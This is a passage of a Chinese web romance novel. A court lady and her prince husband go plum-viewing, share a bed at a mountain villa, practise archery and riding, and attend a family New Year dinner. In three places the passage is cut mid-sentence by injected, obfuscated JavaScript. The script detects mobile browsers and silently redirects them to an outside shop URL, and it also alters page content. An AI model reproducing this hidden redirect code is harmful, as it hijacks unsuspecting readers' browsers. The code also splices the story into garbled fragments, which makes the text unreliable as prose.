“那就好，那就好。有他在，阿槿出门时就不怕小毛贼了。”顾顺娘甚是宽慰，再瞧知白时，愈发觉得他眉清目秀起来。 马车一路晃出城门，往般若寺去。 正逢年节邻近、梅花盛开，来进香的香客倒是不少，或有走路来的，或有骑驴的、赶车的，倒将山门外的空地占了大半。 魏窈这马车既没带王府徽记，自然也没多少人搭理，车夫怕挤着郡王侧妃，特地走远些，挑了个僻静些的地方给魏窈下车。只是此处人少，加之山里天气格外冷些，地上的积雪还没化，踩上去难免有点打滑。 沈歌扶着顾顺娘下车站好，又伸手给魏窈，要扶她下来。 魏窈下意识将手递去，指尖还没碰到沈歌呢，忽觉指腹一凉，就见知白不知是从哪里掏出了把带鞘的匕首，竟自横插在魏窈和沈歌的手掌之间。 “我来扶殿下。”他淡声说着，将匕首稳稳递来。 那意思，是要她抓着匕首？ 他手上力道很稳，这皮革制成的匕首鞘子也挺好看，只是…… 魏窈一怔后明白过来他在忌讳什么，不由拨开那匕首，笑道：“这是我邻家姐姐，无妨的。” 她说得风轻云淡，却让知白险些愣住。 他甚至忘了收回匕首，只愕然瞧向沈歌。却见她笑着冲他挤了挤右眼，冬日和暖的阳光下，明眸皓齿，意气风发。 而那双眼睛…… 知白先前两次跟沈歌碰面，都觉得此人面相偏于阴柔，虽瞧着身姿挺拔行事爽飒，相貌也生得极好，却总少些阳刚之气。而此刻再瞧这双眼睛，还有那含笑的唇，乃至他曾暗暗疑惑过的喉结并不明显的脖颈…… 确实过于白皙秀致了，就连胸膛腰身都…… 腊月深冬，明明山间拂过的风冷峭寒凉，知白却总觉得脸上有点泛热。 他迅速低头退后两步，一声不吭地走开，假装去安顿他的坐骑。 脑海里拂之不去的，却仍是沈歌冲着他微笑挤眼睛的模样，还有那勾起的唇角，当真是……好看极了。 …… 半日闲游，难得顾顺娘能抽出空暇散心，魏窈和沈歌陪着她将般若寺和附近的梅林都瞧了一遍，直至后晌才散。 青帷马车载着她和青穂、绿禾，在知白的指引下前往别苑。 沈歌和顾顺娘则乘另一辆马车回城。 日影一偏，风里便添了寒意。 但因山路两侧不时能瞧见零星的梅花，主仆几个难得出来闲游，便将马车帘子尽数掀起来，只将披风裹紧，抱着手炉子闲聊赏景。 到得王府别苑，正是日倾西山。 惠王府在京郊有多处别苑，这地方冬日里有梅林，夏日里又山深林茂的颇为凉快，寻常来的次数多了，配的仆役人手也颇齐全。 管事的长了张圆胖脸，含笑将魏窈迎进去，又道：“殿下带着小郎君射猎去了，说是晚些时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254368|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来。厨房里正备饭呢，您先在住处稍歇歇，再过个两炷香的功夫，怕是就差不多了。” 说着，又将别苑的大致格局跟魏窈介绍过，将她引到夫妻俩的住处。 这座别苑建在山腰，里头的屋舍亭台也都是依山而建，除了赏景设宴用的各处楼台，还有五处小院子可供安歇。 惠王夫妇、世子夫妇和穆景初各据一处，剩下两处则是客用。 比起王府的恢弘气象，建在山腰的别苑并不算宽敞，这院子里也只建了正屋和东厢房，面阔有限，布局略为紧凑。 胜在位置绝佳，推窗便是山中风景，不管倚窗闲坐还是在院里喝茶，四周草木栽植得都恰到好处，更有远处峰峦叠嶂、茂林嘉树，实则是个极适宜闲居的所在。 魏窈裹着斗篷站在檐下，远眺连绵的梅林，觉得迎面冷冽的风里都似带了香气。 她深深吸了一口，清冽直入肺腑，让整个人精神都为之一振。 深冬闲游，真好啊！ 沐着夕阳看了半天的雪峰梅林，待魏窈回屋后换了衣裳洗把脸，穆景初父子俩也到了。 文儒显然玩得很高兴，穿着小皮靴最先跑进院里，朝魏窈嘻嘻一笑便钻进他住的厢房找嬷嬷去了。他的身后，穆景初一袭墨色大氅，肩上围着油光水滑的风毛，因眼底还残留着看小家伙时的笑意，倒衬得整个人神采俊逸，若孤松玉山。 魏窈一笑，忙迎了上去。 晚饭做得很丰盛，有别苑里中的菜蔬，也有父子俩打来的猎物，做得都挺可口。 一家人就着灯火梅瓶吃完饭，穆景初闲着无事，瞧文孺今儿玩得快有点得意忘形了，便将他领去厢房考问课业等事。 魏窈歇了会儿，先去里间。 跟王府里熹微山房的宽敞不同，别苑依山而建屋舍紧凑，正屋的梢间用作小书房，里面只有一张不及三尺宽的小榻。这种榻拿来午歇尚可，但若要给穆景初过夜，着实有点过于窄仄了。 相较之下，卧房里那张床榻甚为宽敞，显然是为夫妻同睡而准备的。 她摸不准穆景初打算怎么睡，便让青穂她们将两处床榻都铺好，又将屋里熏得暖暖的，这才去沐浴盥洗。 浴房里也供了梅花，有淡香隐约。 浴桶之畔，栉巾寝衣香膏等物一应俱全，暖乎乎的泡上半天，能将白日里爬山赏景的疲乏消去大半。 魏窈在热气里眯着眼，摆弄洒在浴汤上头的花瓣时，忽地想起了件事情——今日跟顾顺娘和沈歌爬山赏梅，因走得不慢、衣裳又暖和，晴日头底下其实让她出了一层薄汗。 原本这也没什么，沐浴洗洗便罢。 可穆景初那人鼻子刁钻，上回连那样幽微的脂粉味都能闻见，这回若真个夫妻同榻，万一他那狗鼻子闻见稍许汗味，岂不尴尬？ 虽说那点汗不至于有味道，可万一呢？ 一个屋檐下住着，抬头不见低头见的，没人知道他那狗鼻子有多灵，还是稳妥一点的好。 这样想着，待沐浴后擦干，魏窈便取旁边备着的玫瑰香膏，稍稍涂了点在身上。 出去后瞧穆景初还没回来，她累得犯困没精神看书，便坐在榻上斜倚着软枕打盹儿等他。 34. 034 不知眯了多久，忽觉枕榻微动。 她从浅睡中醒过来，就见穆景初不知何时回来的，已然换了身严实的寝衣，坐到了榻上，正摆放属于他的那只枕头。 四目相对，旋即各自挪开。 “那边的榻太窄，这两晚得一起睡了。”穆景初淡声解释，将那绣着合欢花的锦被撩起半边，利落地钻进去躺好，闭上了眼睛。 魏窈微怔，随后暗自松了口气。 刚刚对视时的稍许尴尬，在他泰然自若的举止中悄然消弭。而他既摆出这样井水不犯河水的架势，显然是心如止水，只打算一起睡觉对付两宿，没有旁的打算。 那她就更无需胡思乱想了。 魏窈便将床帐放下来，轻手轻脚地钻进另外半边被窝里，规规矩矩地躺好，喊青穂进来熄灭灯盏。 灯烛灭尽，屋里霎时陷入黑暗，待屋门吱呀掩上，耳边就只剩下彼此的呼吸声。 穆景初在黑暗中睁开了眼。 再怎么装镇定，这毕竟是他长大后头回跟女人睡在一起，且她还与他拜过天地、姿貌出挑，甚至曾被他按在书房的角落里，肆意亲吻过。 那滋味，至今都…… 彼时的情形浮上脑海，穆景初方才好容易凝神静气压住的心绪又有些浮躁起来，他瞥了眼身侧近在咫尺的女人，发觉之前闻惯了的那股若有若无的淡淡香味，在今夜忽然被玫瑰香味掩盖住了。 满室安静，明知彼此醒着，却故作生疏的各自装睡委实有点刻意。 他索性开了口，问道：“你换香膏了？” “啊？”魏窈被问得有点懵，明白过来后如实道：“我平素不用香膏，今晚瞧那香膏盒子有趣，就用了点。”怕他误会以香博宠，说完后就闭了嘴老实躺着，连手指尖儿都没敢动。 旁边穆景初听到这回答，心底却悄然翻起惊涛骇浪。 “你平常不用香膏？”他不甚确信地问。 魏窈道：“从前在乡下住着，哪里用得上那些东西，也就成习惯了。今晚是瞧那盒子有趣，心血来潮就试了试。殿下若觉得这味道不好，我去洗了？” “不用。”穆景初声调平静，心跳却稍稍急促了点。 她平常不用香膏，那他靠近时闻到的是什么？ 难道是她的体香！ …… 山夜静谧，偶尔一点风声传来，倒很催人入眠。 魏窈今儿爬山赏梅走得有些疲乏了，在黑暗里躺了会儿，等最初稍稍紧绷的心神松懈，便很快就睡了过去。 穆景初却莫名有些睡不着。 自打头回见面，他便觉得魏窈身上那股若有若无的淡淡香味很是独特，甚至让他暗生贪恋。原以为是香料所致，却原来…… 他竭力克制着不去多想，但昏暗床帐里暖烘烘的同衾而眠，那股香味却仍幽微断续地嗅入鼻端，无端让他想起曾握在掌中的嫩白指尖，困于怀中的柔软唇舌，令心绪渐而浮躁。 女色动人，古人诚不我欺。 穆景初竭力凝神静气，心神却似仍被魏窈占据着，他甚至想起了贺云章——那厮对魏窈死缠烂打，莫不是在中意美色之外，也迷恋这体香？ 这念头浮起，胸腔里竟无端有些堵得慌。 像是自家珍宝遭人觊觎甚至亵渎，让穆景初想将贺云章捆起来，废了他的眼睛削了他的鼻子，让那厮再不能滋扰魏窈分毫。 一整夜，穆景初都睡得不太踏实。 梦里纷纷扰扰，凌乱断续，一时是被他困在怀里的魏窈，一时又添了旁人，他甚至隐约梦见魏窈被迫嫁给贺云章，落在那厮的后宅里，直接把他给气醒了。 天还没亮，深冬的夜万籁俱寂。 穆景初生平头一次被梦气醒，心头乱跳之余，只觉一口气憋在胸口，堵得慌。他下意识摸向身边，轻易触到魏窈熟睡中细软的腰身，他这才发觉自己离魏窈极近，也不知是不是睡着后闻着味儿贴过来的。 梦境迅速模糊，但那股气怒与后怕仍留在心底，仿佛魏窈真的嫁给过贺云章一样，无端让人心有余悸。 他顺着她的手臂摸索，牵住她搭在小腹的手。 被窝里指尖温暖，是深深印刻在记忆里的熟悉触感，他不自觉轻轻摩挲，将那只手牢牢握在掌中。 …… 翌日清晨醒来，已是天光微亮。 穆景初习惯了早起，难得有这样闲适的时光，倒有点想赖床。 只是歇了一夜之后精神焕发，连带身体都似苏醒了似的蠢蠢欲动。他瞥了眼身侧仍自熟睡的魏窈，到底没敢多留，轻轻揭开锦被，自管到里头去盥洗，拿凉凉的水醒醒神，浇灭暗涌。 等魏窈睡足了起身时，穆景初已经逮了睡眼惺忪的小文孺，在外头教他练武。 早饭照旧丰盛，三人一起用过后，便去山腰赏梅。 文儒虽说已开始习练骑马射箭，到底年岁尚小，穆景初不敢让他独自骑，加之魏窈胆小怕骑马，便让卫玄铮带上文孺，他带上魏窈，到梅林中溜达了一圈。 晌午就安排在梅林旁边。 昨日射来的猎物早已洗剥干净，或是整块拿来烤，或是切开了串在细铁签子上，烤熟之后洒上佐料，新鲜热乎咬一口，便是难得的美味。 这事儿穆景初和卫玄铮在行，也无需旁人帮忙，他俩自管将肉串烤得滋滋冒油，魏窈和文孺坐在在旁大快朵颐便可。 冬末春初日渐和暖的阳光洒在林间，偶尔有风拂过，晌午时分也不觉得冷。 魏窈吃饱后眯着眼儿，若不是碍着穆景初在不宜放浪形骸，她甚至想让人搬个躺椅软毯到附近的梅林底下，晒着太阳闻着梅香睡上半天。 但这毕竟也只能想想而已。 后晌日头短，来不及再去山林深处射猎，穆景初难得闲着无事，正好亲自教文孺骑射。 五灵峰既有豪门别苑云集，那射箭场修得自然不在话下。 穆景初教完文孺，让卫玄铮盯着小家伙习练，转头一瞧，就见魏窈也拿了张弓在不远处练习。看那架势倒像从前摸过似的，还挺有模有样。 他不自觉踱步过去，看她张弓搭箭，费力拉满之后箭矢射出，咚的一声钉在靶子边儿上。 “还行，至少射到了靶子。”他出言调侃。 魏窈闻言回头，见他不知是何时来到了身后，不由笑道：“射得不好，让殿下见笑了。” “以前学过？”穆景初问。 魏窈熟练地搭上箭拉开沉甸甸的弓，尝试去瞄靶心，口中道：“小时候有人教过我，只是很久没摸了，已经没了准头。” 她这技艺习自沈歌，自打沈歌逃婚从军后就没怎么练过。前世嫁给贺云章后困在闺阁里没机会碰这些东西，如今再拾起来，忆起幼时跟沈歌玩闹的时光，熟悉亲切之余，确实觉得技艺生疏。 旁边穆景初看她箭尖微晃，裙下的双足姿势也不太对，竟自一笑，走上前去从她身后握住她两只手。 “我来教你。” 魏窈忽而被他裹进怀里，察觉男人落在耳畔的呼吸时，不由身体微僵。但文孺和卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269702|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄铮就在不远处，且穆景初捉着她的手调整弓箭，教她如何站得更稳、瞄得更准，像是纯然出于好心教她。 遂自摒却杂念，将心神都用在弓箭上。 比起小时候的沈歌，弓马娴熟的穆景初在骑射征战上的本事没得说，指点起来也都正中要害，让原就有稍许根底的魏窈进益不小。 待文孺习练完了过来看热闹时，她已经能射得有模有样了。 小家伙跟魏窈相处多了，日渐熟稔起来，见状便拍着小手儿笑：“侧妃娘娘箭术不赖嘛，明儿去射猎，咱们比一比好不好！” 他这战书下得轻巧，卫玄铮不由笑摸他脑袋，“输了可别哭哦。” “才不会！”文儒自信得很。 魏窈蹲身逗他，“那咱们拿什么做彩头呢？” 文儒歪着脑袋想了想，很快就有了主意，“这里好多梅花，输了的人剪一束梅花送给爹爹吧！”说着，拽住穆景初的胳膊晃起来，“爹爹，你说好不好？” 穆景初瞧他眨巴着眼睛一脸期待，更未料天上还能掉彩头砸在自家身上，笑着瞥了眼魏窈，爽快答应，“很好！” “那就说好了哦！”文儒得了他的首肯，愈发高兴，不待催促就拽着卫玄铮回到原处，让他接着教自己射箭。 魏窈笑着瞧他跑远，站起身时，正好撞上穆景初的视线。 山间满目梅花，他玉冠束发昂然而立，披着件挺阔的织金墨色斗篷，脸上笑意仍在。 或许是因为方才教她射箭时的耐心言语，或许是因为他此刻明显心绪极佳，魏窈只迟疑了一瞬，便壮着胆子提出请求，“殿下若没有旁的事，能不能教我骑马？” 怕穆景初觉得自己得寸进尺，她又解释道：“小时候学骑马被摔过，就不敢再碰了，让出行十分不便。像是今天，还得劳烦殿下带我。若能学会骑马，往后就轻省多了！” “不是为了比赢文儒？”穆景初调侃。 魏窈失笑，“文儒年岁虽小，却有高人指点，功底扎实。我这点能耐，还真未必比得过他。” 她这样拐着弯子夸赞名师出高徒，让穆景初很是受用，便命人去牵匹温驯的马过来。 后晌的斜日尚且和暖，风里夹杂着梅香。 有穆景初在，就像是身边有了个能够兜底的人，让魏窈从前深藏的恐惧消减了不少。她起初还如履薄冰，死抓着缰绳不敢乱动，慢慢走了两圈后竟逐渐放松下来，敢尝试着加快马速，甚至跟穆景初闲谈。 穆景初瞧出她的紧张，也拿些闲话来缓解，问当初是谁教她骑马、如何摔等等。 魏窈便同他说起幼时住在乡下的情形，说起沈歌的调皮、顾顺娘的慈爱、山野间平静却又快乐的时光。 俩人相识已有大半年，成婚也有十来日，还是头一回这样闲谈着提及过往，从那些细碎的言语中遥想彼时的模样。 回别苑的路，魏窈是自己骑回去的，甚至有段路尝试着小跑，任由晚风拂过面颊。 抵达别苑，翻身下马的那一瞬，脚尖踩上坚实的青石砖，她看着身侧温驯的枣红色骏马，心底竟升起股莫名的踏实畅快之感。 不再畏惧骑马，可以弯弓搭箭去射猎游骋，原来她也可以像沈歌那样肆意奔驰，去尝试想做的事情。在山野、在风中，或是在市井，而非如前世那样困在贺家的后宅里，囿于婆媳妯娌间的琐碎龃龉，磨尽光阴。 原来嫁给不同的人，日子当真是天差地别的。 她觑着穆景初抱文儒下马的背影，竟隐隐对前路生出期待。 35. 035 翌日，穆景初果然安排了射猎。 山中猎物不算多，于征战沙场的的他和卫玄铮而言其实有点聊胜于无，但对年岁尚弱的文孺来说，却成了天地广阔的游乐场。 穆景初担心他玩疯了受伤，便将小家伙抱在怀里，依着他的指挥纵马奔驰，文儒则拿着小弓箭东射西射，大半天下来，竟也攒了不少的猎物。他挑挑拣拣，有些瞧着可爱的嘱咐人包扎后仍放回山林中去，有些则算射猎收获，带回去给长辈们尝鲜。 相较之下，魏窈还是个新手，没敢下重手，多半时候都是追着小动物射尾巴玩耍，最后落得两手空空。 文儒记得昨日的赌约，既赢了比赛，自是高兴得很。 待魏窈剪了几支漂亮的梅花过来，他将这亲手赢来的彩头珍宝似的抱在怀里，说是回去后要亲自挑选花瓶给爹爹养着。 魏窈哄完他，又带青穂她们去折了些含苞半放的梅花，打算回去送给惠王夫妇和世子夫妇及两位妹妹。 等剪好花枝儿回到别苑，回城的马车也已收拾停当。 ——马上小年夜了，王府里惯常会阖家齐聚用饭，不宜缺席。 邻近年节的天气日益和暖，拂过山林的风也渐渐减了清寒。文儒骑射后兴致仍在，不肯窝在马车里闲坐，定要自己骑马回去，穆景初只好将他裹进披风里，父子俩骑着踏云回城。 魏窈乐得宽敞独坐，让青穂和绿禾去后面那辆车里照看梅花。 一行车马辘辘往五灵峰下走，魏窈倚着靠枕，正昏昏欲睡的时候，忽觉马车轻晃着停了下来。旋即，外面响起男人的说话声，她轻轻撩起侧帘一角瞧出去，就见迎面有人正跟穆景初说话。 那人瞧着十七八岁，穿着身寻常锦衣，看那气度却不似寻常人家的，眉眼间亦有几分桀骜骄矜之气。 魏窈略看了会儿，才想起来先前曾在宫宴上见过他，似乎是梁王世子穆景渊。 ——自打梁王妃过世之后，他就跟梁王闹起了别扭，后来韩明漪续弦成为梁王妃，诞下个儿子之后，父子间愈发冷淡疏离。就连那日宫宴上，穆景渊都没多留，稍微应景坐了会儿就借故离去，像是不愿意跟梁王和韩明漪同行似的，只给魏窈留了个很浅的印象。 这般叛逆不驯，在皇室中倒是少见。 今日他又孤身来山中，连半个亲信随从都没带，甚至堂堂王府世子只穿了身寻常商户都能用的锦衣，着实出人意料。 魏窈暗诧，就连穆景初也觉疑惑。 穆景渊大约也没想到会在这儿碰见熟人，匆匆寒暄过后便欲告辞。临行前，又像是想到什么，迟疑着回身道：“今日在这里碰见的事，还望堂兄不要声张，尤其是我父王。” 免得他被梁王责骂。 这话他没说，穆景初却猜得到，便颔首道：“我不掺和这些闲事。” “那就好，多谢堂兄！”穆景渊说罢，便自催马离去，像是怕被追问缘故似的。 沿着蜿蜒山道一路疾驰，他最终在一处坐落在山坳的院子跟前勒马停驻。 他也不走正门，任由坐骑在院门外吃草，他自管翻墙跃进院中，大步往屋中走去。 屋里有位貌美的女子坐在小火炉旁，正就着香茶翻书，瞧见动静抬起头，见了是他，不由起身笑道：“今儿小年夜，你怎么来了？” “正因为是小年夜，才想来陪你，免得你独自在这里冷清孤单。”穆景渊解去披风，上前将她揽进怀里。 女子廿约廿五，比他年长七八岁，此刻却也含笑依偎在高挑的男儿怀中，笑道：“这样的好日子却跑来看我，就不怕你父母责怪。” “你若不想我受责怪，就该答应我才对。”穆景渊揉弄着她的唇瓣，低声道：“与其做人外室，不如跟我回家，便能日日相伴。他都丢下你两年不闻不问了，又何必死守旧约？只要你肯答应，我定能带你回家。” 他说得坚决，像是已经深思熟虑。 那女人却只垂眸一笑，旋即叹了口气，“罢了，能偶尔见见面，我已很满足了，旁的无需再提。” 即使被丢在这里不闻不问，她终究还是那人的外室。 一人之下，万人之上。 他一介寻常儿郎，又如何能与那人的权势相争、虎口夺食？ 她瞧着与那人有几分肖似、却更英挺年少的眉眼，有几分心酸，有几分欣喜，最终闭上眼睛，在小别后的纠缠中吻住他的唇，任由他打横抱起来走向床榻。 …… 夜幕落下时，小年夜祭灶的热闹弥漫在京城，像是各家各户都迫不及待地等着过年似的。 梁王府因世子缺席，就只梁王和韩明漪母子，并几个侍妾一起用饭。 惠王府里，却是满满摆了两大桌。 男人坐在暖阁的外间，祖孙三代围坐酌酒，桌子正中供着嫣红的梅花。 薄纱屏隔开的里间，各色佳肴摆满桌案，显眼处也插着一大支颇有野趣的红梅，在炭火熏暖时有淡香隐约。 梅氏陪坐在惠王妃身边，笑着解释，“原本我还犹豫呢，是该供水仙，还是从后院折些梅花。谁知二弟和弟妹从外头回来，竟折了满满一车的红梅。我想着山里来的毕竟有野趣儿，又开得红火，就让人摆了一些。” “是开得好看，我平素不爱出门，也难得进山。如今瞧瞧这个，权当去五灵峰赏过梅花了。”惠王妃也颇满意，拍拍魏窈的手，“有心了。” 魏窈便笑道：“母亲别夸我，这可都是文孺的功劳。” “这话怎么说？”惠王妃听见是小孙儿，愈发来了兴致。 “文儒昨儿练习射箭，瞧我也会点儿皮毛，就要跟我比一场，输了的去折梅花赠人。”魏窈刚嫁进来，没好意思多提穆景初，只笑道：“这孩子聪慧，又懂事，今儿我输了比赛，可不得好好成全他的孝心么。” “难为这孩子，弟妹折回来好些呢，已经都让人装了瓶，就连我都得了一份。”梅氏在旁凑趣。 惠王妃听了，也笑得合不拢嘴。 当初穆景初执意要过继侄子的时候，惠王妃固然也心疼那孩子刚出生就失慈失怙的十分可怜，却也不愿儿子年未弱冠就白担了名声。因着圣心难测，皇太子和皇太孙先后亡故，她怕这是个烫手山芋，还曾为此辗转反侧，忐忑甚久。 如今时随日转，亲手养大的孩子渐渐成了真心疼爱的骨肉，早年的担忧渐已淡去。惠王妃隔着纱屏，瞧见外头甩着小腿儿坐在穆景初身边的文儒，眼底尽是慈爱。 “文儒是懂事，也不怪景初偏疼。”她收回视线，又觑向魏窈，“也难得你跟他投缘。” 正说话时，穆景姝和穆景若姐妹俩都来了，同惠王妃见礼过，先去逗襁褓里的小侄女。 梅氏过去招呼小姑子们，惠王妃又让魏窈靠近些，压低了声音，“这两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273753|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日在别苑里，都还好吧？” 魏窈一怔，对上她那隐晦关怀的眼神，霎时明白过来。 合着惠王妃以为小夫妻是双宿双飞去了？ 不知是心虚使然，还是这话让她想起了夫妻同寝的情形，魏窈耳尖莫名有点发烫，又不敢说实话，只能含糊答道：“都挺好的。” “那就好。景初也不小了，早点添个孩子，府里能更热闹些。” 惠王妃瞧着她含羞的模样，只觉老怀宽慰。 ——且不说长子穆景言儿女双全，隔壁梁王府的穆景渊年才十七就已经收房了两个侍妾，唯有穆景初跟个榆木疙瘩似的，不肯多碰女色。如今总算铁树开花，可不令人欢欣么？就连来年的日子，都似多了几分盼头。 …… 明烛高照，满室暖融，外头的小戏班不远不近地奏着鼓乐，一家子围坐用饭，倒是魏窈意料之外的和乐。 待得宴毕，小厮又燃些烟花增添年味。 灯烛昏黄的廊下烟火璀璨，文儒闹着要亲自放炮仗，连披风也不要了，只管在庭前争着点火信子。仆婢们笑围在一起瞧热闹，就连平素不甚说话的惠王爷都挂满笑容，笑眯眯瞧着闹腾的孙儿。 魏窈瞥见依偎欢笑的惠王妃母女，想起幼时过年的情形，一时间倒有点走神——她这里人多热闹，螺市街上的顾顺娘却是为了抚养她而舍弃婚嫁，至今仍孤身一人。 也不知顾姨如今在做什么。 会不会也跟韩金铃对烛含笑、等着迎接脚步渐近的新岁？ 魏窈抬眸，望向暗沉沉的苍穹。 待庭前烟花燃尽，家宴也就散了，祖孙们各回住处。 年末冬夜的风仍旧寒冷彻骨，冷嗖嗖的灌进脖子时令人瑟缩。魏窈虽喝了点酒，到底初入王府为人妻媳，不过浅尝辄止而已。此刻手炉里炭火渐冷，也只能缩缩脖子裹紧披风。 才将风毛拽紧，旁边忽而伸过来一只手，将她的指尖握住。 他的手很暖，甚至于有点烫。 习武的男人原就气血旺盛，穆景初今晚陪着惠王爷和穆景言多喝了些酒，这会儿酒意涌上来，寒冬腊月里仍旧满身暖和。 魏窈窥他神情，见他心绪甚好，索性将他的手当成暖炉子，两只手握着取暖。后来又觉得风吹得手腕冷，索性往里摸上去，拿他的小手臂取暖，只以衣袖挡风。 两人就这么走回了熹微山房。 青穂瞧自家姑娘都快挂在郡王爷身上了，忍着笑默默跟了一路，进屋后就跟绿禾递了个眼色，匆匆服侍魏窈卸妆洗漱毕，便躬身退了出去。 屋门掩上，四下里便归于寂静。 魏窈系好寝衣走出去，就见穆景初正坐在她睡榻对面的绣凳上，摆弄魏窈前些天才刚雕刻好的小木牌——那是魏窈给顺记小馆准备的。 听见动静，他抬起眼睛，视线落在寝衣包裹的玲玲身段上。 寒夜里绣帘垂落、门窗紧掩，明明屋里一丝风都进不来，他却觉得鼻端像是有幽微的风拂过，卷着她身上那股独特的香味直往鼻端窜。 很好闻的味道，远胜宫廷中那些香料。 是她身上独有的体香。 勾人心魂。 穆景初竭力将视线从她身段上挪开，瞥见那双藏着困意的慵懒双眸、才刚洗漱的软嫩唇瓣时，喉结仍忍不住滚了滚。 他轻咳了声，起身走近浴房。 36. 036 大概是夜太深，他很快就盥洗完走出来，换上冬日厚暖的寝衣。 只是寝衣没系扣子，就那么敞开了披在肩上，唯有亵裤松松垮垮地挂在腰上，将整个肩膀胸膛都袒露出来。 彼时魏窈才梳好头发，回头瞧见那多年习武养出的腰腹胸膛，险些呼吸一滞。 “这扣子松了。”穆景初状若无事，披着寝衣径直朝她走过来。 他身上酒意未散，胸膛还挂着未擦干的水珠，顺着肌理往下滑落。走至跟前时，男人的气息混着热意袭来，熏得魏窈脸都有点红了。 “我、我明天缝好。” 她赶忙低头，没好意思多看送上门的男色，视线扫过结实腰腹时，脑海里却仍电光火石般浮过些不合时宜的画面。 她脑袋垂得更低了。 这羞怯着实太过明显，穆景初瞧着悄然爬上她耳梢的微红，眸色愈深，故意往前贴近半步，明晃晃地将身段往她眼里送。 酒意混着血气直往上翻涌，明知此刻纠缠下去可能酒后乱性，心底却实在舍不得这烛光下的香软美人。穆景初忍不住微微俯身便往她耳边凑去，出言逗她—— “倒不如……” 酒后微哑的声音落在耳畔，夹杂微烫的鼻息，像是什么东西灼烫的落在心上。 魏窈似有一瞬迷失，却被残存的理智拽着往后退了半步，急促道：“我去另找件寝衣，给殿下换上。”说着，头都没敢抬，转身就往外间走。 不提防身后烛台高擎，她慌乱中没留意，险些一头撞上去。 穆景初眼疾手快，一把将她拉住，心浮气躁时力道稍重，直接将人拽进了怀里。 温软面颊撞上硬邦邦的胸膛，分不出谁更热些。 魏窈抬头，清晰瞧见他眼底的暗涌。 她心头咚咚乱跳，赶紧站直身子，盯着脚尖匆匆往外走。 箱笼里整齐叠放着好几套寝衣，她脑袋里尽是方才穆景初那眼神，也没心思多分辨，只随手抓了一套，竭力平复心绪。 再回到里屋时，穆景初仍披着寝衣站在原地，只是神情平静了些，没了方才亲近戏谑、暗流涌动的模样。 魏窈又有点担心他着恼，缓步近前道：“殿下今晚穿这身吧？” “好。”穆景初垂眸，随手将披着的寝衣丢在她的榻上，抓过她新取的那套，径直往对面的卧榻而去。 剩魏窈站在原地，喉咙微燥。 桌上的茶水早已凉了，她连着灌了两杯下去，才将那股莫名的燥热压住，而后将他丢下的寝衣叠好，上榻钻进锦被。 临睡前，忍不住又往穆景初的方向望了眼。 他是生气了吗？ 也许是吧。 明明当初她已然用回应强吻的方式摆明态度，不会在婚后做忸怩之态，可方才心念一线之时，却仍选择了回避。 当初的约定既是你情我愿，在嫁进王府之前，她也早已在心底里做好了跟穆景初有肌肤之亲的准备。何况穆景初那身段实在出挑，即便她是重回少女之时，仍险些迷失于男色。 那么，方才那下意识的退避之念，究竟是在担忧什么？ 魏窈望着绣了合欢的软帐，扪心自问。 …… 翌日清晨一切如常。 穆景初早早地起身习武，待魏窈起身梳洗后两人一道用饭，过后再去书房，仿佛昨晚那片刻的暧昧从未发生。 魏窈也如常去给惠王妃问安，又到文孺那儿瞧了瞧课业起居，再回住处。 庭院中仆从忙着洒扫剪枝，迎接新岁年节。 魏窈安顿好杂事，便让人掩上门扇，留绿禾在廊下喂雀儿看门，只将青穂叫进了里间。 “有件事你这两天替我去办，越快越好，也别让人瞧见。”她将才从箱底隐蔽处翻出来的一方锦袋打开，取出里头折得豆腐块般大小的一张纸，交在青穂的手里，“记住，越隐蔽越好。” 青穂懵懵的点了点头，又迟疑道：“这是……” “避子汤的药方。”魏窈低声。 她说得沉着，却将青穂惊得瞪大了眼睛，声音都结巴起来，“这……这……这要是让殿下知道了……” 她压着声音生怕被人听去，匆匆扫了那药方一眼，赶紧好生藏起来，只劝道：“这里是王府，最看重子嗣的。主子您可别任性，这事儿奴婢虽然敢去办，可万一不慎让殿下或是王爷、王妃知道，那不是闹着玩的。” “我心里有数。”魏窈安抚般拍拍她的手，“你若亲自去抓药，确实容易被人察觉，就请顾姨代劳抓药把，回头我跟她解释缘由。” “奴婢不是那意思！”青穂明知屋里没旁人，却还是忍不住往左右前后瞧了瞧，凑到魏窈身边，低声道：“奴婢是觉得，殿下挺好的。” “他是不错啊，你很有眼光。”魏窈笑侃。 青穂被她逗得无奈起来，“奴婢可不是说笑。主子这桩婚事，从前奴婢还存着担忧呢，怕王府里日子难过，如今看来算是顶好的了。” 